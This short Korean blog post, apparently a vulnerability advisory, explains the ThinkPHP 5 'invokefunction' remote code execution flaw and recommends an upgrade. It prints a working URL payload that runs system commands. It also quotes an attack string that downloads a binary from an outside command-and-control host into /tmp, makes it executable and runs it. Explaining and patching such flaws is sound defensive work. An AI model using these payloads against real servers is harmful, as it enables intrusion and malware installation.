loading
본문으로 바로가기

ThinkPHP는 중국 TopThink에서 개발한 php기반의 웹 애플리케이션 프레임 워크입니다. 
Apache2 기반으로 만들어 졌으며, 중국에서는 빠른 프로젝트 개발 진행을 할 수 있었기 때문에 인기가 많았습니다. 

 

ThinkPHP는 URL 쿼리 매개 변수를 분석하여, 모듈과 컨트롤러를 검색합니다. 

 

순서 : 모듈 -> 액션 값 -> ID -> Data 순으로 정립 URL 쿼리는 '/'를 구분자로 사용하여 분석하는데, 
해당 취약점은 '\'과 'invokefunction' 함수를 이용하여 구문 분석 및 원격 코드 실행을 할 수 있도록 합니다. 

 

1. Payload 

index.php? s = index / \ think \ app / invokefunction & function = call_user_func_array & vars [0] = system & vars [1] [] = id

 

2. 공격구문

index.php? s = / index / \ think \ app / invokefunction & function = call_user_func_array & vars [0] = shell_exec & vars [1] [] = wget http://cnc.arm7plz.xyz/bins/set.x86 -O / tmp /. eSeAlg; chmod 777 /tmp/.eSeAlg; /tmp/.eSeAlg

페이로드 코드 뒤에 wget, chmod 777 등 시스템 명령어들을 이용하여 해커가 원하는 공격을 수행하게된다. 

 

※ 해결방안

문제를 해결하려면 ThinkPHP 버전 5.0.23 또는 5.1.31로 업그레이드를 권고 드리며, 
ThinkPHP5 기반 컨텐츠 관리 시스템을 사용하는 경우이 취약점의 영향을 받을 수 있습니다.